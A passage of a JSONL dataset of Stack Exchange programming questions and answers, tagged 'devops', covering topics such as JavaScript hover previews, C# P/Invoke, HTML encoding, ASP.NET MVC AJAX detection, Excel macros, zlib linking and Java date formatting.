ODBC make the same assumption, that transaction state is merely a property of the connection object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.584753"}
{"id": "hf_46bb23ae2973", "question": "<p>I am having a Html hyperlink. I need to link this hyperlink to another page.When I place the mouse over the link. It should show the image.\nhow to do this</p>\n", "question_body": "", "answer": "you can do this using javascript..\nThis will create a square that follows your mouse on div or element hover.\nCreate a .js file with those contents here:\n```\n```\nvar WindowVisible = null;\nfunction WindowShow() { \n    this.bind = function(obj,url,height,width) {\n        obj.url = url;\n        obj.mheight = height;\n        obj.mwidth = width;\n        obj.onmouseover = function(e) {\n            if (WindowVisible == null) {\n                if (!e) e = window.event;\n                var tmp = document.createElement(\"div\");\n                tmp.style.position = 'absolute';\n                tmp.style.top = parseInt(e.clientY + 15) + 'px';\n                tmp.style.left = parseInt(e.clientX + 15) + 'px';\n                    var iframe = document.createElement('iframe');\n                    iframe.src = this.url;\n                    iframe.style.border = '0px';\n                    iframe.style.height = parseInt(this.mheight)+'px';\n                    iframe.style.width = parseInt(this.mwidth)+'px';\n                    iframe.style.position = 'absolute';\n                    iframe.style.top = '0px';\n                    iframe.style.left = '0px';\n                tmp.appendChild(iframe);\n                tmp.style.display = 'none';\n                WindowVisible = tmp;\n                document.body.appendChild(tmp);\n                tmp.style.height = parseInt(this.mheight) + 'px';\n                tmp.style.width = parseInt(this.mwidth) + 'px';\n                tmp.style.display = 'block';\n            }\n        }\n        obj.onmouseout = function() {\n            if (WindowVisible != null) {\n                document.body.removeChild(WindowVisible);\n                WindowVisible = null;\n            }\n        }\n        obj.onmousemove = function(e) {\n            if (!e) e = window.event;\n            WindowVisible.style.top = parseInt(e.clientY + 15) + 'px';\n            WindowVisible.style.left = parseInt(e.clientX + 15) + 'px';\n        }\n    }\n}\n```\n```\nThen in your html do the following:\nInclude the .js file\n```\n<script type=\"text/javascript\" src=\"myfile.js\"></script>\n```\nPut in your web page:\n```\n```\n<script type=\"text/javascript\">\n            var asd = new WindowShow();\n            asd.bind(document.getElementById('go1'),'IMAGE URL HERE!',400,480);\n</script>\n```\n```\nHere is a full implementation in a HTML:\n```\n```\n<html>\n<head>\n    <title>test page</title>\n    <style>\n        div.block { width: 300px; height: 300px; background-color: red; }\n        iframe { border: 0px; padding: 0px; margin: 0px; }\n    </style>\n    <script type=\"text/javascript\" src=\"window_show.js\"></script>\n</head>\n<body>\n    <div id=\"go1\" style=\"background-color: red; width: 200px; height: 200px;\"></div>\n\n    <script type=\"text/javascript\">\n        var asd = new WindowShow();\n        asd.bind(document.getElementById('go1'),'IMAGE URL HERE!',400,480);\n    </script>\n</body>\n```\n```\nbye bye!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.608334"}
{"id": "hf_495712e85414", "question": "<p>Is there a better <strong>free</strong> TreeView control that exists for Visual Studio 2008 / .NET 3.5?</p>\n\n<p>I believe I need something a little more powerful than the out-of-the box version. I'm not exactly sure for what yet but I thought I'd ask quickly before I get too far in to my project.</p>\n", "question_body": "", "answer": "TreeViewAdv\nseems to be pretty nice. It is described with the following features on SourceForge.net:\nExtensible advanced TreeView.\n100% management C# code.\nFeatures: Model/View architecture.\nMulticolumns.\nMultiselection.\nDifferent controls for each node: CheckBox, Icon, Label ...\nDrag&Drop highlighting.\nLoad on demand.\nIncremental search.\nWe will most likely use this in one or two occasions in an upcoming project, IIRC.\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.632350"}
{"id": "hf_43f6ab18f3db", "question": "<p>Example C API signature:</p>\n\n<p><code>void Func(unsigned char* bytes);</code></p>\n\n<p>In C, when I want to pass a pointer to an array, I can do:</p>\n\n<pre><code>unsigned char* bytes = new unsigned char[1000];\nFunc(bytes); // call\n</code></pre>\n\n<p>How do I translate the above API to P/Invoke such that I can pass a pointer to C# byte array?</p>\n", "question_body": "", "answer": "You can use unsafe code:\n```\n```\nunsafe \n{\n     fixed(byte* pByte = byteArray)\n     IntPtr intPtr = new IntPtr((void *) pByte);\n     Func(intPtr);\n}\n```\n```\nIf you need to use safe code, you can use a few tricks:\n```\n```\nIntPtr intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(byteArray));\nMarshal.Copy(byteArray, 0, intPtr, Marshal.SizeOf(byteArray));\n\nFunc(intPtr);\n\nMarshal.FreeHGlobal(intPtr);\n```\n```\nHowever, the safe code is going to be slow IMHO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.655901"}
{"id": "hf_711ee67ca79c", "question": "<p>When do you call <code>Microsoft.Security.Application.AntiXss.HtmlEncode</code>?  Do you do it when the user submits the information or do you do when you're displaying the information?  </p>\n\n<p>How about for basic stuff like First Name, Last Name, City, State, Zip?</p>\n", "question_body": "", "answer": "You should only encode or escape your data at the last possible moment, whether that's directly before you put it in the database, or display it on the screen. If you encode too soon, you run the risk of accidentally double encoding (you'll often see\n```\n&amp;amp;\n```\non newbies' websites - myself included).\nIf you do want to encode sooner than that, then take measures to avoid the double encoding. Joel wrote an article about good uses for hungarian notation, where he advocated use of prefixes to determine what is stored in the variable. eg: \"us\" for unsafe string, \"ss\" for safe string.\n```\n```\nusFirstName = getUserInput('firstName')\n\nssFirstName = cleanString(usFirstName);\n```\n```\nAlso note that it doesn't matter what the type of information is (city, zip code, etc) - leaving any of these unchecked is asking for trouble.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.679501"}
{"id": "hf_b962121b27b6", "question": "<p>Given the following class, what is your opinion on the best way to handle create/edit where Attributes.Count  can be any number.</p>\n\n<pre><code>public class Product {\n  public int Id {get;set;}\n  public string Name {get;set;}\n  public IList&lt;Attribute&gt; Attributes {get;set;}\n}\n\npublic class Attribute {\n  public string Name {get;set;}\n  public string Value {get;set;}\n}\n</code></pre>\n\n<p>The user should be able to edit both the Product details (Name) and Attribute details (Name/Value) in the same view, including adding and deleting new attributes.</p>\n\n<p>Handling changes in the model is easy, what's the best way to handle the UI and ActionMethod side of things?</p>\n", "question_body": "", "answer": "Depends on the experience you are looking to create for the user. I have implemented something similar for tagging content. In the model, Tags are represented as IList, but the UI shows a comma delimited list in a single text field. I then handle merging the items in the list into a string to populate the text field, and I split the input to put items back into the IList in the model.\nIn my DAL, I then deal with converting the List into LINQ entities, handle inserts and deletes, etc.\nIt isn't the most straight forward code, but it isn't too difficult to manage and it gives the user an expected interface.\nI'm sure there are other ways to handle it but I would focus on what would work best for the user and then work out the mapping details based on that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.702785"}
{"id": "hf_887190520920", "question": "<p>Given the following domain classes:</p>\n\n<pre><code>class Post {\n   SortedSet tags\n   static hasMany = [tags: Tag]\n}\n\nclass Tag {\n   static belongsTo = Post\n   static hasMany = [posts: Post]\n}\n</code></pre>\n\n<p>From my understanding so far, using a <code>hasMany</code> will result in hibernate <code>Set</code> mapping.\nHowever, in order to maintain uniqueness/order, Hibernate needs to load the entire set from the database and compare their hashes.</p>\n\n<p>This could lead to a significant performance problem with adding and deleting posts/tags\nif their sets get large. What is the best way to work around this issue?</p>\n", "question_body": "", "answer": "The ordering of the set is guaranteed by the\n```\nSet\n```\nimplementation, ie, the\n```\nSortedSet\n```\n. Unless you use a\n```\nList\n```\n, which keeps track of indexes on the db, the ordering is server-side only.\nIf your domain class is in a\n```\nSortedSet\n```\n, you have to implement\n```\nComparable\n```\nin order to enable the proper sorting of the set.\nThe question of performance is not really a question per se. If you want to access a single\n```\nTag\n```\n, you should get it by its\nId\n. If you want the sorted tags, well, the sort only makes sense if you are looking at all\n```\nTags\n```\n, not a particular one, so you end up retrieving all\n```\nTags\n```\nat once. Since the sorting is performed server-side and not db-side, there is really not much difference between a\n```\nSortedSet\n```\nand a regular\n```\nHashSet\n```\nin regards to Db.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.762237"}
{"id": "hf_79598b7936c7", "question": "<p>I prefer to use jQuery with my ASP.NET MVC apps than the Microsoft Ajax library. I have been adding a parameter called \"mode\" to my actions, which I set in my ajax calls. If it is provided, I return a JsonViewResult. If it isn't supplied, I assume it was a standard Http post and I return a ViewResult.</p>\n\n<p>I'd like to be able to use something similar to the IsMvcAjaxRequest in my controllers when using jQuery so I could eliminate the extra parameter in my Actions.</p>\n\n<p>Is there anything out there that would provide this capability within my controllers or some simple way to accomplish it? I don't want to go crazy writing code since adding a single parameter works, it just isn't ideal.</p>\n", "question_body": "", "answer": "See Simons answer below.  The method I describe here is no longer needed in the latest version of ASP.NET MVC.\nThe way the\n```\nIsMvcAjaxRequest\n```\nextension method currently works is that it checks\n```\nRequest[\"__MVCASYNCPOST\"] == \"true\"\n```\n, and it only works when the method is a HTTP POST request.\nIf you are making HTTP POST requests throug jQuery you could dynamically insert the\n```\n__MVCASYNCPOST\n```\nvalue into your request and then you could take advantage of the\n```\nIsMvcAjaxRequest\n```\nextension method.\nHere is a\nlink to the source of the IsMvcAjaxRequest extension method\nfor your convenience.\nAlternatively, you could create a clone of the\n```\nIsMvcAjaxRequest\n```\nextension method called\n```\nIsjQueryAjaxRequest\n```\nthat checks\n```\nRequest[\"__JQUERYASYNCPOST\"] == \"true\"\n```\nand you could dynamically insert that value into the HTTP POST.\nUpdate\nI decided to go ahead and give this a shot here is what I came up with.\nExtension Method\n```\n```\npublic static class HttpRequestBaseExtensions\n{\n    public static bool IsjQueryAjaxRequest(this HttpRequestBase request)\n    {\n        if (request == null)\n            throw new ArgumentNullException(\"request\");\n\n        return request[\"__JQUERYASYNCPOST\"] == \"true\";\n    }\n}\n```\n```\nChecking from an action if a method is a jQuery $.ajax() request:\n```\n```\nif (Request.IsjQueryAjaxRequest())\n    //some code here\n```\n```\nJavaScript\n```\n```\n$('form input[type=submit]').click(function(evt) {\n    //intercept submit button and use AJAX instead\n    evt.preventDefault();\n\n    $.ajax(\n        {\n            type: \"POST\",\n            url: \"<%= Url.Action(\"Create\") %>\",\n            dataType: \"json\",\n            data: { \"__JQUERYASYNCPOST\": \"true\" },\n            success: function(data) {alert(':)');},\n            error: function(res, textStatus, errorThrown) {alert(':(');}\n        }\n    );\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.797712"}
{"id": "hf_70835b877aec", "question": "<p>Ok, so I have VS 2008 and SVN. When I \"rebuild all\" a handful of my .dll's disappear from my bin folder. </p>\n\n<p>I have these .dll's in a library folder and that's where I am referencing them from. </p>\n\n<p>When I go to publish the app the publish fails, I think they are related. When I reboot my web.config (change something and save) this error goes away. However, the publish still fails. </p>\n\n<p>When I go to the folder and update svn puts all of them back of course, but then it just happens all over again.</p>\n\n<p>Thank you. </p>\n", "question_body": "", "answer": "Sounds like the build procedure removes the contents of your bin directory on build.\nI don't understnad where you say you are referencing them from the library folder- and they also exist in the bin directory.\nYour publish could be failing for other reasons- it is most helpful to post the errors.\nUpdating SVN reverts the files to the latest version- so if you have no file, the latest version is the one that exists in your repository.\nThings to check:\nYou are probably receiving errors on your build- it sounds like the DLL's are actually output from other projects in your solution, so you should check if they are building properly or if they are being output to a different directory instead of your bin folder.\nYour subversion repository probably shouldn't have any binary or intermediate files such as dll, lib, exe, suo, ncb, and some others but those are the main ones.\nPost more details here- from the sound of it, it seems you may be overlooking errors that you didn't post here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.880788"}
{"id": "hf_beb290263617", "question": "<p>I was really looking at the differences between pass by value and how Java allocates objects and what java does to put objects on the stack.</p>\n\n<p>Is there anyway to access objects allocated on the heap?  What mechanisms does java enforce to guarantee that the right method can access the right data off the heap?</p>\n\n<p>It seems like if you were crafty and maybe even manipulate the java bytecode during runtime, that you might be able to manipulate data off the heap when you aren't supposed to?</p>\n", "question_body": "", "answer": "All objects in Java are located on the heap.  I'm not quite sure what you mean by \"access objects from the heap\".  The only things stored on the stack are the list of functions which called into the current context and their local variables and parameters.  All local variables and parameters are either primitive types or references.\nIf you allocate an object using\n```\nnew\n```\n(which is the only way to allocate non-primitive types; yes this includes array types), then the object is allocated on the heap, and a reference to that object is stored on either the stack or the heap, depending on if the reference is stored in a local variable/parameter or as a member of another object.\nWhen passed as parameters to functions, all objects are passed by reference - if the function modifies the parameter, the original object is also modified.  Identically, one could also say that the object references are passed by value - if you change a parameter to refer to a new object, it will continue to refer to that object for the duration of the function, but the original object which was passed in will still refer to whatever it referred to before.  Primitive types are also passed by value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.904352"}
{"id": "hf_5d0bbb8d6251", "question": "<p>I have a form with a <code>&lt;textarea&gt;</code> and I want to capture any line breaks in that textarea on the server-side, and replace them with a <code>&lt;br/&gt;</code>.</p>\n\n<p>Is that possible?</p>\n\n<p>I tried setting <code>white-space:pre</code> on the <code>textarea</code>'s CSS, but it's still not enough.</p>\n", "question_body": "", "answer": "Have a look at the\n```\nnl2br()\n```\nfunction. It should do exactly what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.927462"}
{"id": "hf_fc75aed95e29", "question": "<p>So, following a tutorial I found on MSDN I've created what you might call an \"engine\" using DirectX and C#. I haven't seen a lot of this sort of thing (Personally, that is) done in C# and the majority seem to favour C/C++ so I'm curious as to whether using C# will come back to bite me, or whether I should just go ahead?</p>\n\n<p>The reason I ask is that the tutorial stopped rather suddenly and so there's a basis of something but it's small enough to be ported without much hassle. I like C# myself, but I don't know whether there's something everyone else knows that I don't.</p>\n", "question_body": "", "answer": "I suggest staying with what you are familiar with.  Use of C or C++ should only be considered in your situation if you intend to do some lower level functionality, like implement your own image processing or create custom filters or transforms (depending on what you are using directx for).\nGraphic applications can have computationally intensive aspects.  Most of these have been addressed in the DirectX api- which is just as fast if you use it from C++ or from C#.\nWhere you would consider lower level language: If you are creating some image processing which could perform quicker natively- this only applies if it is not offered by the directx api, such as creating some custom encoders/decoders.  In this case you could create the custom component in another language- and then load it in your C# application separately.  If you are- look into using C++ Intrinsics, which allow you to program for your CPU, and also take a look at GPGPU API's like CUDA.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.950747"}
{"id": "hf_351805540c1d", "question": "<p>What is the point of an action returning ActionResult?</p>\n", "question_body": "", "answer": "ActionResult is the base class for many different types of controller results.  By returning the base class, the controller action can return different types of results depending on the outcome of the method -- a ViewResult, a RedirectToActionResult, etc.  ActionResult contains all of the data needed by the View or new Action that is the result of the current controller action.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:20.974352"}
{"id": "hf_5c156eae947e", "question": "<p>I have an Excel macro that deletes a sheet, copies another sheet and renames it to the same name of the deleted sheet. This works fine when run from Excel, but when I run it by calling the macro from Python I get the following error message:</p>\n\n<blockquote>\n  <p>Run-time error '1004' - Cannot rename a sheet to the same name as\n  another sheet, a referenced object library or a workbook referenced by\n  VisualBasic.</p>\n</blockquote>\n\n<p>The macro has code like the following:</p>\n\n<pre><code>Sheets(\"CC\").Delete\nActiveWindow.View = xlPageBreakPreview\nSheets(\"FY\").Copy After:=Sheets(Sheets.Count)\nSheets(Sheets.Count).Name = \"CC\"\n</code></pre>\n\n<p>and the debugger highlights the error on the last line where the sheet is renamed. I've also tried putting these calls directly in python but get the same error message.</p>\n\n<p>Any suggestions are much appreciated!</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I ran the code inside Excel VBA.\nI am guessing that the following line is failing.\n```\nSheets(\"CC\").Delete\n```\nAnd that is the reason, you can't give the new sheet same name as existing (non-deleted) sheet.\nPut\n```\nApplication.DisplayAlerts = False\n```\nbefore\n```\nSheets(\"CC\").Delete\n```\nand\n```\nApplication.DisplayAlerts = True\n```\nonce you are finished with the code.\nI haven't used python but it seems the library is swallowing that error for you and letting you go ahead to the next statement.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.021559"}
{"id": "hf_c227b71f8329", "question": "<p>I've inherited a rather large application that really could use some cleanup. There is data access code littered throughout the application. In code behinds, some in business logic classes, some inline in in classic asp pages. </p>\n\n<p>What I'd like to do is refactor this code, removing all the data access code into a few DAL classes. </p>\n\n<p>All the data access is done through stored procedures (Microsoft SQL 2000). There are 300-400 of them.</p>\n\n<p>It seems like there should be an automated way to analyse the store procedures, and automatically generate c# methods for each of them, mapping the Method parameters to the stored procedure parameters, with a method returning a datatable. </p>\n\n<p>I don't have any experience with ORM products, and I'm not sure if what I'm looking for is a full blown ORM, or just a 3rd party utility that will help generate simple wrappers around the sp calls.</p>\n", "question_body": "", "answer": "If you have access to .NET Framework 3.5 and Linq to SQL, you can do it very easily, check this video:\nLINQ to SQL: Using Stored Procedures\nUsing existing stored procedures and\n  functions is easy with LINQ. We simply\n  drag the stored procedures onto the\n  O/R mapping surface and call them from\n  the generated Data Context object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.092202"}
{"id": "hf_7a7de01999e3", "question": "<p>Is there any HTML5 support in IE8?  Is it on the IE8 roadmap?</p>\n", "question_body": "", "answer": "According to\nhttp://msdn.microsoft.com/en-us/library/cc288472(VS.85).aspx#html\n, IE8 will have \"strong\" HTML 5 support. I haven't seen anything discussing exactly what \"strong support\" entails, but I can say that yes, some HTML5 stuff is going to make it into IE8.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.115593"}
{"id": "hf_a6f2f1c4c03d", "question": "<p>Forgive me for a potentially silly question here, but in other programming languages (scripting ones like PHP or Perl) it is often easy to dump everything contained within a variable.</p>\n\n<p>For instance, in PHP there are the <code>var_dump()</code> or <code>print_r()</code> functions. Perl has the <code>Data::Dumper</code> CPAN class, etc etc.</p>\n\n<p>Is there something like this for Objective-C? It would be very convenient in a few cases to be able to dump everything like that, instead of using gdb to inspect each variable.</p>\n", "question_body": "", "answer": "Use NSLog() to dump contents of objects. For example:\n```\n```\nNSData* myData = //... assume this exists\nNSLog(@\"Contents of myData: %@\", myData);\n```\n```\nNSLog has a printf-style format string (expects an NSString object) followed by a variable list of parameters, just like printf. The replacement character %@ represents an object the description method on an object. This is useful for dumping most Objective-C objects in Cocoa.\nIf you want to dump the contents of an object using gdb (I see you tagged this with gdb), use the special \"po\" directive instead of print. For example:\n```\n```\ngdb) po myData\n```\n```\nwill cause gdb to dump the myData object. po is a shortcut for print-object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.138717"}
{"id": "hf_c439403d463b", "question": "<p>I have included <code>&lt;zlib.h&gt;</code> in my iphone application and the source code I was mocking up the sample code of Molecules provided by Brad Larson, however, when I build the project, it returns the error as below.  Can anyone point out for me whether this is a library linking problem or am I missing something else?</p>\n\n<pre><code>\"_deflate\", referenced from: -[NSData(Gzip) gzipDeflate] in NSData+Gzip.o \"_inflateEnd\", \nreferenced from: -[NSData(Gzip) initWithGzippedData:] in NSData+Gzip.o \"inflateInit2\", \nreferenced from: -[NSData(Gzip) initWithGzippedData:] in NSData+Gzip.o \"_inflate\", \nreferenced from: -[NSData(Gzip) initWithGzippedData:] in NSData+Gzip.o \"_deflateEnd\", \nreferenced from: -[NSData(Gzip) gzipDeflate] in NSData+Gzip.o \"deflateInit2\", referenced \nfrom: -[NSData(Gzip) gzipDeflate] in NSData+Gzip.o ld: symbol(s) not found collect2: ld \nreturned 1 exit status\n</code></pre>\n", "question_body": "", "answer": "In your Target's\n```\nBuild Settings\n```\ntab, scroll down to the\n```\nOther Linker Flags\n```\nsection and make sure\n```\n-lz\n```\nis in the field. This will link against the built-in zlib, and your error should go away.\nAfter changing the Linker Flags you must select\n```\nClean\n```\nfrom the\n```\nProduct\n```\nmenu before building again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.200568"}
{"id": "hf_4227dd4cb42b", "question": "<p>If I have a string \"12 23 34 56\"</p>\n\n<p>What's the easiest way to change it to \"\\x12 \\x23 \\x34 \\x56\"?</p>\n", "question_body": "", "answer": "```\n```\nstring s = \"12 23 34 45\";\nstringstream str(s), out;\nint val;\nwhile(str >> val)\n    out << \"\\\\x\" << val << \" \"; // note: this puts an extra space at the very end also\n                               //       you could hack that away if you want\n\n// here's your new string\nstring modified = out.str();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.235883"}
{"id": "hf_f0a6d38e6ea6", "question": "<p>Say I have two lists:</p>\n\n<pre><code>var list1 = new int[] {1, 2, 3};\nvar list2 = new string[] {\"a\", \"b\", \"c\"};\n</code></pre>\n\n<p>Is it possible to write a LINQ statement that will generate the following list:</p>\n\n<pre><code>var result = new []{ \n    new {i = 1, s = \"a\"},\n    new {i = 1, s = \"b\"},\n    new {i = 1, s = \"c\"},\n    new {i = 2, s = \"a\"},\n    new {i = 2, s = \"b\"},\n    new {i = 2, s = \"c\"},\n    new {i = 3, s = \"a\"},\n    new {i = 3, s = \"b\"},\n    new {i = 3, s = \"c\"}\n};\n</code></pre>\n\n<p>?</p>\n\n<p>Edit: I forgot to mention I didn't want it in query syntax. Anyway, based on preetsangha's answer I've got the following:</p>\n\n<pre><code>var result = list1.SelectMany(i =&gt;  list2.Select(s =&gt; new {i = i, s = s}));\n</code></pre>\n", "question_body": "", "answer": "```\n```\nvar result = from l1 in list1\n             from l2 in list2       \n             select new { i = l1, s = l2};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.271326"}
{"id": "hf_306e3bdffb58", "question": "<p>I want to output a timestamp with a PST offset (e.g., 2008-11-13T13:23:30-08:00). <code>java.util.SimpleDateFormat</code> does not seem to output timezone offsets in the <em>hour:minute</em> format, it excludes the colon. Is there a simple way to get that timestamp in Java?</p>\n\n<pre><code>// I want 2008-11-13T12:23:30-08:00\nString timestamp = new SimpleDateFormat(\"yyyy-MM-dd'T'h:m:ssZ\").format(new Date());\nSystem.out.println(timestamp); \n// prints \"2008-11-13T12:23:30-0800\" See the difference?\n</code></pre>\n\n<p>Also, <code>SimpleDateFormat</code> cannot properly parse the example above. It throws a <code>ParseException</code>.</p>\n\n<pre><code>// Throws a ParseException\nnew SimpleDateFormat(\"yyyy-MM-dd'T'h:m:ssZ\").parse(\"2008-11-13T13:23:30-08:00\")\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd'T'h:m:ss.SZ\");\n```\n```\nIs not what exactly you need?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.294713"}
{"id": "hf_80899e29ddc8", "question": "<p>I am getting the following error when trying to install Visual Studio 2005 on my 64bit, Vista computer:</p>\n\n<blockquote>\n  <p>\"1305.Error reading from file\n  C:\\Program Files (x86)\\Microsoft\n  Visual Studio 8\\Microsoft Visual\n  Studio 2005 Standard Edition -\n  ENU\\SITSetup.dll\"</p>\n</blockquote>\n\n<p>I have successfully used the same DVD's to install Visual Studio on my old XP machine, and I can find the file (SITSetup.dll) on the DVD...and copy it off...so I don't think this is a case of having a bad DVD. At the time the error message pops up, I can see the file on my hard-drive, but it has a 0 size.</p>\n\n<p>I've Googled this problem, and found some ideas, but nothing has worked thus far. Any suggestions would be appreciated.</p>\n", "question_body": "", "answer": "I just installed it yesterday on my Vista box (32-bit, which may be the problem). It seemed to go through fine so I don't know what to tell you other than than when I first launched the app it notified me of \"known compatibility issues\" and recommended that I install both the SP1 and Vista SP! updates. No further issues past that.\nAs such, I would suspect either a problem with the 64 bit OS (though\nMicrosoft says it's fine...\n) or other software on your machine. If you have a virus scanner running, for instance, disable it while installing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.318165"}
{"id": "hf_8d2912ebd796", "question": "<p>I'm currently using <a href=\"http://eigenclass.org/hiki.rb?rcov\" rel=\"noreferrer\">Rcov</a> to get C0 code coverage analysis for a rails project that I'm working on.</p>\n\n<p>However, those results are practically meaningless- I have 100% coverage according to rcov (as it only covers C0 analysis) and I've barely written half the test cases for the functionality that exists thus far.</p>\n\n<p>I'm used to the useful results from the code coverage in Visual Studio 2008 Team, which has C1 coverage.  Are there any tools that provide similar coverage for ruby?</p>\n", "question_body": "", "answer": "At the moment, there are no C1 coverage tools for Ruby. In fact, there aren't\nany\ncoverage tools other than RCov.\nUntil recently, it was only possible to write tools like this by patching or extending the MRI interpreter in C. Since approximately two years ago, it is also possible to extend JRuby in Java, and there is actually since last month a port of RCov for JRuby. However, this requires both a knowledge of Ruby\nand\nC, and a pretty deep knowledge at that, because fiddling around with the internals of MRI is not for the faint at heart.\nBut only with Rubinius will it be possible to write dynamic analysis tools such as code coverage tools in Ruby itself, making tool writing accessible to a much larger portion of the Ruby community. My hope is that this, coupled with the substantial financial backing of tool vendors (many major IDE vendors are either working on or have already introduced Ruby IDEs, including CodeGear (ex-Borland), IntelliJ, NetBeans, Eclipse, SapphireSteel (Ruby in Steel for Visual Studio) and even Microsoft) will lead to rapid innovation in the Ruby tooling space in 2009 and we will see things like C1, C2 coverage, NPath complexity, much more fine-grained profiling and so on.\nUntil then, the only idea I have is to use Java tools. The JRuby guys try to emit the proper magic metadata to make their generated bytecode at least penetrable by the Java tools. So, maybe it is possible to use Java coverage tools with JRuby. However, I have no idea whether that actually works, nor if it is supposed to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:21.353390"}
